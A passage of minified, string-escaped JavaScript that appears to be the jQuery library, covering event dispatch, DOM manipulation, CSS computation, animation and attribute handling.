i,l,s,a,c,u,d,p,f,h,g,m=X.hasData(e)&&X.get(e);if(m&&(a=m.events)){for(t=(t||\\\"\\\").match(_)||[\\\"\\\"],c=t.length;c--;)if(s=Ce.exec(t[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f){for(d=E.event.special[f]||{},f=(o?d.delegateType:d.bindType)||f,p=a[f]||[],s=s[2]&&new RegExp(\\\"(^|\\\\\\\\.)\\\"+h.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"),l=i=p.length;i--;)u=p[i],!r&&g!==u.origType||n&&n.guid!==u.guid||s&&!s.test(u.namespace)||o&&o!==u.selector&&(\\\"**\\\"!==o||!u.selector)||(p.splice(i,1),u.selector&&p.delegateCount--,d.remove&&d.remove.call(e,u));l&&!p.length&&(d.teardown&&!1!==d.teardown.call(e,h,m.handle)||E.removeEvent(e,f,m.handle),delete a[f])}else for(f in a)E.event.remove(e,f+t[c],n,o,!0);E.isEmptyObject(a)&&X.remove(e,\\\"handle events\\\")}},dispatch:function(e){var t,n,o,r,i,l,s=E.event.fix(e),a=new Array(arguments.length),c=(X.get(this,\\\"events\\\")||{})[s.type]||[],u=E.event.special[s.type]||{};for(a[0]=s,t=1;t<arguments.length;t++)a[t]=arguments[t];if(s.delegateTarget=this,!u.preDispatch||!1!==u.preDispatch.call(this,s)){for(l=E.event.handlers.call(this,s,c),t=0;(r=l[t++])&&!s.isPropagationStopped();)for(s.currentTarget=r.elem,n=0;(i=r.handlers[n++])&&!s.isImmediatePropagationStopped();)s.rnamespace&&!s.rnamespace.test(i.namespace)||(s.handleObj=i,s.data=i.data,void 0!==(o=((E.event.special[i.origType]||{}).handle||i.handler).apply(r.elem,a))&&!1===(s.result=o)&&(s.preventDefault(),s.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,s),s.result}},handlers:function(e,t){var n,o,r,i,l,s=[],a=t.delegateCount,c=e.target;if(a&&c.nodeType&&!(\\\"click\\\"===e.type&&1<=e.button))for(;c!==this;c=c.parentNode||this)if(1===c.nodeType&&(\\\"click\\\"!==e.type||!0!==c.disabled)){for(i=[],l={},n=0;n<a;n++)o=t[n],r=o.selector+\\\" \\\",void 0===l[r]&&(l[r]=o.needsContext?-1<E(r,this).index(c):E.find(r,this,null,[c]).length),l[r]&&i.push(o);i.length&&s.push({elem:c,handlers:i})}return c=this,a<t.length&&s.push({elem:c,handlers:t.slice(a)}),s},addProp:function(t,e){Object.defineProperty(E.Event.prototype,t,{enumerable:!0,configurable:!0,get:E.isFunction(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[E.expando]?e:new E.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Re()&&this.focus)return this.focus(),!1},delegateType:\\\"focusin\\\"},blur:{trigger:function(){if(this===Re()&&this.blur)return this.blur(),!1},delegateType:\\\"focusout\\\"},click:{trigger:function(){if(\\\"checkbox\\\"===this.type&&this.click&&k(this,\\\"input\\\"))return this.click(),!1},_default:function(e){return k(e.target,\\\"a\\\")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},E.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},E.Event=function(e,t){if(!(this instanceof E.Event))return new E.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?be:xe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&E.extend(this,t),this.timeStamp=e&&e.timeStamp||E.now(),this[E.expando]=!0},E.Event.prototype={constructor:E.Event,isDefaultPrevented:xe,isPropagationStopped:xe,isImmediatePropagationStopped:xe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=be,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=be,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=be,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},E.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&ye.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},E.event.addProp),E.each({mouseenter:\\\"mouseover\\\",mouseleave:\\\"mouseout\\\",pointerenter:\\\"pointerover\\\",pointerleave:\\\"pointerout\\\"},function(e,r){E.event.special[e]={delegateType:r,bindType:r,handle:function(e){var t,n=e.relatedTarget,o=e.handleObj;return n&&(n===this||E.contains(this,n))||(e.type=o.origType,t=o.handler.apply(this,arguments),e.type=r),t}}}),E.fn.extend({on:function(e,t,n,o){return Se(this,e,t,n,o)},one:function(e,t,n,o){return Se(this,e,t,n,o,1)},off:function(e,t,n){var o,r;if(e&&e.preventDefault&&e.handleObj)return o=e.handleObj,E(e.delegateTarget).off(o.namespace?o.origType+\\\".\\\"+o.namespace:o.origType,o.selector,o.handler),this;if(\\\"object\\\"==typeof e){for(r in e)this.off(r,t,e[r]);return this}return!1!==t&&\\\"function\\\"!=typeof t||(n=t,t=void 0),!1===n&&(n=xe),this.each(function(){E.event.remove(this,e,n,t)})}});var Ee=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[^>]*)\\\\/>/gi,ke=/<script|<style|<link/i,Te=/checked\\\\s*(?:[^=]|=\\\\s*.checked.)/i,Pe=/^true\\\\/(.*)/,De=/^\\\\s*<!(?:\\\\[CDATA\\\\[|--)|(?:\\\\]\\\\]|--)>\\\\s*$/g;function Ae(e,t){return k(e,\\\"table\\\")&&k(11!==t.nodeType?t:t.firstChild,\\\"tr\\\")&&E(\\\">tbody\\\",e)[0]||e}function Ne(e){return e.type=(null!==e.getAttribute(\\\"type\\\"))+\\\"/\\\"+e.type,e}function $e(e){var t=Pe.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\\\"type\\\"),e}function He(e,t){var n,o,r,i,l,s,a,c;if(1===t.nodeType){if(X.hasData(e)&&(i=X.access(e),l=X.set(t,i),c=i.events))for(r in delete l.handle,l.events={},c)for(n=0,o=c[r].length;n<o;n++)E.event.add(t,r,c[r][n]);U.hasData(e)&&(s=U.access(e),a=E.extend({},s),U.set(t,a))}}function Le(e,t){var n=t.nodeName.toLowerCase();\\\"input\\\"===n&&le.test(e.type)?t.checked=e.checked:\\\"input\\\"!==n&&\\\"textarea\\\"!==n||(t.defaultValue=e.defaultValue)}function Fe(n,o,r,i){o=g.apply([],o);var e,t,l,s,a,c,u=0,d=n.length,p=d-1,f=o[0],h=E.isFunction(f);if(h||1<d&&\\\"string\\\"==typeof f&&!m.checkClone&&Te.test(f))return n.each(function(e){var t=n.eq(e);h&&(o[0]=f.call(this,e,t.html())),Fe(t,o,r,i)});if(d&&(e=me(o,n[0].ownerDocument,!1,n,i),t=e.firstChild,1===e.childNodes.length&&(e=t),t||i)){for(l=E.map(ue(e,\\\"script\\\"),Ne),s=l.length;u<d;u++)a=e,u!==p&&(a=E.clone(a,!0,!0),s&&E.merge(l,ue(a,\\\"script\\\"))),r.call(n[u],a,u);if(s)for(c=l[l.length-1].ownerDocument,E.map(l,$e),u=0;u<s;u++)a=l[u],ae.test(a.type||\\\"\\\")&&!X.access(a,\\\"globalEval\\\")&&E.contains(c,a)&&(a.src?E._evalUrl&&E._evalUrl(a.src):v(a.textContent.replace(De,\\\"\\\"),c))}return n}function _e(e,t,n){for(var o,r=t?E.filter(t,e):e,i=0;null!=(o=r[i]);i++)n||1!==o.nodeType||E.cleanData(ue(o)),o.parentNode&&(n&&E.contains(o.ownerDocument,o)&&de(ue(o,\\\"script\\\")),o.parentNode.removeChild(o));return e}E.extend({htmlPrefilter:function(e){return e.replace(Ee,\\\"<$1></$2>\\\")},clone:function(e,t,n){var o,r,i,l,s=e.cloneNode(!0),a=E.contains(e.ownerDocument,e);if(!(m.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||E.isXMLDoc(e)))for(l=ue(s),i=ue(e),o=0,r=i.length;o<r;o++)Le(i[o],l[o]);if(t)if(n)for(i=i||ue(e),l=l||ue(s),o=0,r=i.length;o<r;o++)He(i[o],l[o]);else He(e,s);return 0<(l=ue(s,\\\"script\\\")).length&&de(l,!a&&ue(e,\\\"script\\\")),s},cleanData:function(e){for(var t,n,o,r=E.event.special,i=0;void 0!==(n=e[i]);i++)if(O(n)){if(t=n[X.expando]){if(t.events)for(o in t.events)r[o]?E.event.remove(n,o):E.removeEvent(n,o,t.handle);n[X.expando]=void 0}n[U.expando]&&(n[U.expando]=void 0)}}}),E.fn.extend({detach:function(e){return _e(this,e,!0)},remove:function(e){return _e(this,e)},text:function(e){return q(this,function(e){return void 0===e?E.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.appendChild(e)}})},prepend:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(E.cleanData(ue(e,!1)),e.textContent=\\\"\\\");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return E.clone(this,e,t)})},html:function(e){return q(this,function(e){var t=this[0]||{},n=0,o=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if(\\\"string\\\"==typeof e&&!ke.test(e)&&!ce[(se.exec(e)||[\\\"\\\",\\\"\\\"])[1].toLowerCase()]){e=E.htmlPrefilter(e);try{for(;n<o;n++)1===(t=this[n]||{}).nodeType&&(E.cleanData(ue(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Fe(this,arguments,function(e){var t=this.parentNode;E.inArray(this,n)<0&&(E.cleanData(ue(this)),t&&t.replaceChild(e,this))},n)}}),E.each({appendTo:\\\"append\\\",prependTo:\\\"prepend\\\",insertBefore:\\\"before\\\",insertAfter:\\\"after\\\",replaceAll:\\\"replaceWith\\\"},function(e,l){E.fn[e]=function(e){for(var t,n=[],o=E(e),r=o.length-1,i=0;i<=r;i++)t=i===r?this:this.clone(!0),E(o[i])[l](t),a.apply(n,t.get());return this.pushStack(n)}});var Ie=/^margin/,Me=new RegExp(\\\"^(\\\"+Q+\\\")(?!px)[a-z%]+$\\\",\\\"i\\\"),We=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=R),t.getComputedStyle(e)};function je(e,t,n){var o,r,i,l,s=e.style;return(n=n||We(e))&&(\\\"\\\"!==(l=n.getPropertyValue(t)||n[t])||E.contains(e.ownerDocument,e)||(l=E.style(e,t)),!m.pixelMarginRight()&&Me.test(l)&&Ie.test(t)&&(o=s.width,r=s.minWidth,i=s.maxWidth,s.minWidth=s.maxWidth=s.width=l,l=n.width,s.width=o,s.minWidth=r,s.maxWidth=i)),void 0!==l?l+\\\"\\\":l}function Ve(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){l.style.cssText=\\\"box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\\\",l.innerHTML=\\\"\\\",ve.appendChild(i);var e=R.getComputedStyle(l);t=\\\"1%\\\"!==e.top,r=\\\"2px\\\"===e.marginLeft,n=\\\"4px\\\"===e.width,l.style.marginRight=\\\"50%\\\",o=\\\"4px\\\"===e.marginRight,ve.removeChild(i),l=null}}var t,n,o,r,i=S.createElement(\\\"div\\\"),l=S.createElement(\\\"div\\\");l.style&&(l.style.backgroundClip=\\\"content-box\\\",l.cloneNode(!0).style.backgroundClip=\\\"\\\",m.clearCloneStyle=\\\"content-box\\\"===l.style.backgroundClip,i.style.cssText=\\\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\\\",i.appendChild(l),E.extend(m,{pixelPosition:function(){return e(),t},boxSizingReliable:function(){return e(),n},pixelMarginRight:function(){return e(),o},reliableMarginLeft:function(){return e(),r}}))}();var Be=/^(none|table(?!-c[ea]).+)/,qe=/^--/,Oe={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},ze={letterSpacing:\\\"0\\\",fontWeight:\\\"400\\\"},Xe=[\\\"Webkit\\\",\\\"Moz\\\",\\\"ms\\\"],Ue=S.createElement(\\\"div\\\").style;function Ke(e){var t=E.cssProps[e];return t||(t=E.cssProps[e]=function(e){if(e in Ue)return e;var t=e[0].toUpperCase()+e.slice(1),n=Xe.length;for(;n--;)if((e=Xe[n]+t)in Ue)return e}(e)||e),t}function Ge(e,t,n){var o=J.exec(t);return o?Math.max(0,o[2]-(n||0))+(o[3]||\\\"px\\\"):t}function Ye(e,t,n,o,r){var i,l=0;for(i=n===(o?\\\"border\\\":\\\"content\\\")?4:\\\"width\\\"===t?1:0;i<4;i+=2)\\\"margin\\\"===n&&(l+=E.css(e,n+Z[i],!0,r)),o?(\\\"content\\\"===n&&(l-=E.css(e,\\\"padding\\\"+Z[i],!0,r)),\\\"margin\\\"!==n&&(l-=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r))):(l+=E.css(e,\\\"padding\\\"+Z[i],!0,r),\\\"padding\\\"!==n&&(l+=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r)));return l}function Qe(e,t,n){var o,r=We(e),i=je(e,t,r),l=\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r);return Me.test(i)?i:(o=l&&(m.boxSizingReliable()||i===e.style[t]),\\\"auto\\\"===i&&(i=e[\\\"offset\\\"+t[0].toUpperCase()+t.slice(1)]),(i=parseFloat(i)||0)+Ye(e,t,n||(l?\\\"border\\\":\\\"content\\\"),o,r)+\\\"px\\\")}function Je(e,t,n,o,r){return new Je.prototype.init(e,t,n,o,r)}E.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=je(e,\\\"opacity\\\");return\\\"\\\"===n?\\\"1\\\":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{float:\\\"cssFloat\\\"},style:function(e,t,n,o){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var r,i,l,s=E.camelCase(t),a=qe.test(t),c=e.style;if(a||(t=Ke(s)),l=E.cssHooks[t]||E.cssHooks[s],void 0===n)return l&&\\\"get\\\"in l&&void 0!==(r=l.get(e,!1,o))?r:c[t];\\\"string\\\"===(i=typeof n)&&(r=J.exec(n))&&r[1]&&(n=ne(e,t,r),i=\\\"number\\\"),null!=n&&n==n&&(\\\"number\\\"===i&&(n+=r&&r[3]||(E.cssNumber[s]?\\\"\\\":\\\"px\\\")),m.clearCloneStyle||\\\"\\\"!==n||0!==t.indexOf(\\\"background\\\")||(c[t]=\\\"inherit\\\"),l&&\\\"set\\\"in l&&void 0===(n=l.set(e,n,o))||(a?c.setProperty(t,n):c[t]=n))}},css:function(e,t,n,o){var r,i,l,s=E.camelCase(t),a=qe.test(t);return a||(t=Ke(s)),(l=E.cssHooks[t]||E.cssHooks[s])&&\\\"get\\\"in l&&(r=l.get(e,!0,n)),void 0===r&&(r=je(e,t,o)),\\\"normal\\\"===r&&t in ze&&(r=ze[t]),\\\"\\\"===n||n?(i=parseFloat(r),!0===n||isFinite(i)?i||0:r):r}}),E.each([\\\"height\\\",\\\"width\\\"],function(e,l){E.cssHooks[l]={get:function(e,t,n){if(t)return!Be.test(E.css(e,\\\"display\\\"))||e.getClientRects().length&&e.getBoundingClientRect().width?Qe(e,l,n):te(e,Oe,function(){return Qe(e,l,n)})},set:function(e,t,n){var o,r=n&&We(e),i=n&&Ye(e,l,n,\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r),r);return i&&(o=J.exec(t))&&\\\"px\\\"!==(o[3]||\\\"px\\\")&&(e.style[l]=t,t=E.css(e,l)),Ge(e,t,i)}}}),E.cssHooks.marginLeft=Ve(m.reliableMarginLeft,function(e,t){if(t)return(parseFloat(je(e,\\\"marginLeft\\\"))||e.getBoundingClientRect().left-te(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+\\\"px\\\"}),E.each({margin:\\\"\\\",padding:\\\"\\\",border:\\\"Width\\\"},function(r,i){E.cssHooks[r+i]={expand:function(e){for(var t=0,n={},o=\\\"string\\\"==typeof e?e.split(\\\" \\\"):[e];t<4;t++)n[r+Z[t]+i]=o[t]||o[t-2]||o[0];return n}},Ie.test(r)||(E.cssHooks[r+i].set=Ge)}),E.fn.extend({css:function(e,t){return q(this,function(e,t,n){var o,r,i={},l=0;if(Array.isArray(t)){for(o=We(e),r=t.length;l<r;l++)i[t[l]]=E.css(e,t[l],!1,o);return i}return void 0!==n?E.style(e,t,n):E.css(e,t)},e,t,1<arguments.length)}}),((E.Tween=Je).prototype={constructor:Je,init:function(e,t,n,o,r,i){this.elem=e,this.prop=n,this.easing=r||E.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=o,this.unit=i||(E.cssNumber[n]?\\\"\\\":\\\"px\\\")},cur:function(){var e=Je.propHooks[this.prop];return e&&e.get?e.get(this):Je.propHooks._default.get(this)},run:function(e){var t,n=Je.propHooks[this.prop];return this.options.duration?this.pos=t=E.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Je.propHooks._default.set(this),this}}).init.prototype=Je.prototype,(Je.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=E.css(e.elem,e.prop,\\\"\\\"))&&\\\"auto\\\"!==t?t:0},set:function(e){E.fx.step[e.prop]?E.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[E.cssProps[e.prop]]&&!E.cssHooks[e.prop]?e.elem[e.prop]=e.now:E.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Je.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},E.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\\\"swing\\\"},E.fx=Je.prototype.init,E.fx.step={};var Ze,et,tt,nt,ot,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function lt(){et&&(!1===S.hidden&&R.requestAnimationFrame?R.requestAnimationFrame(lt):R.setTimeout(lt,E.fx.interval),E.fx.tick())}function st(){return R.setTimeout(function(){Ze=void 0}),Ze=E.now()}function at(e,t){var n,o=0,r={height:e};for(t=t?1:0;o<4;o+=2-t)n=Z[o],r[\\\"margin\\\"+n]=r[\\\"padding\\\"+n]=e;return t&&(r.opacity=r.width=e),r}function ct(e,t,n){for(var o,r=(ut.tweeners[t]||[]).concat(ut.tweeners[\\\"*\\\"]),i=0,l=r.length;i<l;i++)if(o=r[i].call(n,t,e))return o}function ut(l,e,t){var n,s,o=0,r=ut.prefilters.length,a=E.Deferred().always(function(){delete i.elem}),i=function(){if(s)return!1;for(var e=Ze||st(),t=Math.max(0,c.startTime+c.duration-e),n=t/c.duration||0,o=1-n,r=0,i=c.tweens.length;r<i;r++)c.tweens[r].run(o);return a.notifyWith(l,[c,o,t]),o<1&&i?t:(i||a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c]),!1)},c=a.promise({elem:l,props:E.extend({},e),opts:E.extend(!0,{specialEasing:{},easing:E.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||st(),duration:t.duration,tweens:[],createTween:function(e,t){var n=E.Tween(l,c.opts,e,t,c.opts.specialEasing[e]||c.opts.easing);return c.tweens.push(n),n},stop:function(e){var t=0,n=e?c.tweens.length:0;if(s)return this;for(s=!0;t<n;t++)c.tweens[t].run(1);return e?(a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c,e])):a.rejectWith(l,[c,e]),this}}),u=c.props;for(!function(e,t){var n,o,r,i,l;for(n in e)if(o=E.camelCase(n),r=t[o],i=e[n],Array.isArray(i)&&(r=i[1],i=e[n]=i[0]),n!==o&&(e[o]=i,delete e[n]),(l=E.cssHooks[o])&&\\\"expand\\\"in l)for(n in i=l.expand(i),delete e[o],i)n in e||(e[n]=i[n],t[n]=r);else t[o]=r}(u,c.opts.specialEasing);o<r;o++)if(n=ut.prefilters[o].call(c,l,u,c.opts))return E.isFunction(n.stop)&&(E._queueHooks(c.elem,c.opts.queue).stop=E.proxy(n.stop,n)),n;return E.map(u,ct,c),E.isFunction(c.opts.start)&&c.opts.start.call(l,c),c.progress(c.opts.progress).done(c.opts.done,c.opts.complete).fail(c.opts.fail).always(c.opts.always),E.fx.timer(E.extend(i,{elem:l,anim:c,queue:c.opts.queue})),c}E.Animation=E.extend(ut,{tweeners:{\\\"*\\\":[function(e,t){var n=this.createTween(e,t);return ne(n.elem,e,J.exec(t),n),n}]},tweener:function(e,t){E.isFunction(e)?(t=e,e=[\\\"*\\\"]):e=e.match(_);for(var n,o=0,r=e.length;o<r;o++)n=e[o],ut.tweeners[n]=ut.tweeners[n]||[],ut.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var o,r,i,l,s,a,c,u,d=\\\"width\\\"in t||\\\"height\\\"in t,p=this,f={},h=e.style,g=e.nodeType&&ee(e),m=X.get(e,\\\"fxshow\\\");n.queue||(null==(l=E._queueHooks(e,\\\"fx\\\")).unqueued&&(l.unqueued=0,s=l.empty.fire,l.empty.fire=function(){l.unqueued||s()}),l.unqueued++,p.always(function(){p.always(function(){l.unqueued--,E.queue(e,\\\"fx\\\").length||l.empty.fire()})}));for(o in t)if(r=t[o],rt.test(r)){if(delete t[o],i=i||\\\"toggle\\\"===r,r===(g?\\\"hide\\\":\\\"show\\\")){if(\\\"show\\\"!==r||!m||void 0===m[o])continue;g=!0}f[o]=m&&m[o]||E.style(e,o)}if(!(a=!E.isEmptyObject(t))&&E.isEmptyObject(f))return;d&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(c=m&&m.display)&&(c=X.get(e,\\\"display\\\")),\\\"none\\\"===(u=E.css(e,\\\"display\\\"))&&(c?u=c:(ie([e],!0),c=e.style.display||c,u=E.css(e,\\\"display\\\"),ie([e]))),(\\\"inline\\\"===u||\\\"inline-block\\\"===u&&null!=c)&&\\\"none\\\"===E.css(e,\\\"float\\\")&&(a||(p.done(function(){h.display=c}),null==c&&(u=h.display,c=\\\"none\\\"===u?\\\"\\\":u)),h.display=\\\"inline-block\\\"));n.overflow&&(h.overflow=\\\"hidden\\\",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]}));for(o in a=!1,f)a||(m?\\\"hidden\\\"in m&&(g=m.hidden):m=X.access(e,\\\"fxshow\\\",{display:c}),i&&(m.hidden=!g),g&&ie([e],!0),p.done(function(){for(o in g||ie([e]),X.remove(e,\\\"fxshow\\\"),f)E.style(e,o,f[o])})),a=ct(g?m[o]:0,o,p),o in m||(m[o]=a.start,g&&(a.end=a.start,a.start=0))}],prefilter:function(e,t){t?ut.prefilters.unshift(e):ut.prefilters.push(e)}}),E.speed=function(e,t,n){var o=e&&\\\"object\\\"==typeof e?E.extend({},e):{complete:n||!n&&t||E.isFunction(e)&&e,duration:e,easing:n&&t||t&&!E.isFunction(t)&&t};return E.fx.off?o.duration=0:\\\"number\\\"!=typeof o.duration&&(o.duration in E.fx.speeds?o.duration=E.fx.speeds[o.duration]:o.duration=E.fx.speeds._default),null!=o.queue&&!0!==o.queue||(o.queue=\\\"fx\\\"),o.old=o.complete,o.complete=function(){E.isFunction(o.old)&&o.old.call(this),o.queue&&E.dequeue(this,o.queue)},o},E.fn.extend({fadeTo:function(e,t,n,o){return this.filter(ee).css(\\\"opacity\\\",0).show().end().animate({opacity:t},e,n,o)},animate:function(t,e,n,o){var r=E.isEmptyObject(t),i=E.speed(e,n,o),l=function(){var e=ut(this,E.extend({},t),i);(r||X.get(this,\\\"finish\\\"))&&e.stop(!0)};return l.finish=l,r||!1===i.queue?this.each(l):this.queue(i.queue,l)},stop:function(r,e,i){var l=function(e){var t=e.stop;delete e.stop,t(i)};return\\\"string\\\"!=typeof r&&(i=e,e=r,r=void 0),e&&!1!==r&&this.queue(r||\\\"fx\\\",[]),this.each(function(){var e=!0,t=null!=r&&r+\\\"queueHooks\\\",n=E.timers,o=X.get(this);if(t)o[t]&&o[t].stop&&l(o[t]);else for(t in o)o[t]&&o[t].stop&&it.test(t)&&l(o[t]);for(t=n.length;t--;)n[t].elem!==this||null!=r&&n[t].queue!==r||(n[t].anim.stop(i),e=!1,n.splice(t,1));!e&&i||E.dequeue(this,r)})},finish:function(l){return!1!==l&&(l=l||\\\"fx\\\"),this.each(function(){var e,t=X.get(this),n=t[l+\\\"queue\\\"],o=t[l+\\\"queueHooks\\\"],r=E.timers,i=n?n.length:0;for(t.finish=!0,E.queue(this,l,[]),o&&o.stop&&o.stop.call(this,!0),e=r.length;e--;)r[e].elem===this&&r[e].queue===l&&(r[e].anim.stop(!0),r.splice(e,1));for(e=0;e<i;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),E.each([\\\"toggle\\\",\\\"show\\\",\\\"hide\\\"],function(e,o){var r=E.fn[o];E.fn[o]=function(e,t,n){return null==e||\\\"boolean\\\"==typeof e?r.apply(this,arguments):this.animate(at(o,!0),e,t,n)}}),E.each({slideDown:at(\\\"show\\\"),slideUp:at(\\\"hide\\\"),slideToggle:at(\\\"toggle\\\"),fadeIn:{opacity:\\\"show\\\"},fadeOut:{opacity:\\\"hide\\\"},fadeToggle:{opacity:\\\"toggle\\\"}},function(e,o){E.fn[e]=function(e,t,n){return this.animate(o,e,t,n)}}),E.timers=[],E.fx.tick=function(){var e,t=0,n=E.timers;for(Ze=E.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||E.fx.stop(),Ze=void 0},E.fx.timer=function(e){E.timers.push(e),E.fx.start()},E.fx.interval=13,E.fx.start=function(){et||(et=!0,lt())},E.fx.stop=function(){et=null},E.fx.speeds={slow:600,fast:200,_default:400},E.fn.delay=function(o,e){return o=E.fx&&E.fx.speeds[o]||o,e=e||\\\"fx\\\",this.queue(e,function(e,t){var n=R.setTimeout(e,o);t.stop=function(){R.clearTimeout(n)}})},tt=S.createElement(\\\"input\\\"),nt=S.createElement(\\\"select\\\"),ot=nt.appendChild(S.createElement(\\\"option\\\")),tt.type=\\\"checkbox\\\",m.checkOn=\\\"\\\"!==tt.value,m.optSelected=ot.selected,(tt=S.createElement(\\\"input\\\")).value=\\\"t\\\",tt.type=\\\"radio\\\",m.radioValue=\\\"t\\\"===tt.value;var dt,pt=E.expr.attrHandle;E.fn.extend({attr:function(e,t){return q(this,E.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){E.removeAttr(this,e)})}}),E.extend({attr:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return void 0===e.getAttribute?E.prop(e,t,n):(1===i&&E.isXMLDoc(e)||(r=E.attrHooks[t.toLowerCase()]||(E.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void E.removeAttr(e,t):r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:(e.setAttribute(t,n+\\\"\\\"),n):r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:null==(o=E.find.attr(e,t))?void 0:o)},attrHooks:{type:{set:function(e,t){if(!m.radioValue&&\\\"radio\\\"===t&&k(e,\\\"input\\\")){var n=e.value;return e.setAttribute(\\\"type\\\",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,o=0,r=t&&t.match(_);if(r&&1===e.nodeType)for(;n=r[o++];)e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?E.removeAttr(e,n):e.setAttribute(n,n),n}},E.each(E.expr.match.bool.source.match(/\\\\w+/g),function(e,t){var l=pt[t]||E.find.attr;pt[t]=function(e,t,n){var o,r,i=t.toLowerCase();return n||(r=pt[i],pt[i]=o,o=null!=l(e,t,n)?i:null,pt[i]=r),o}});var ft=/^(?:input|select|textarea|button)$/i,ht=/^(?:a|area)$/i;function gt(e){var t=e.match(_)||[];return t.join(\\\" \\\")}function mt(e){return 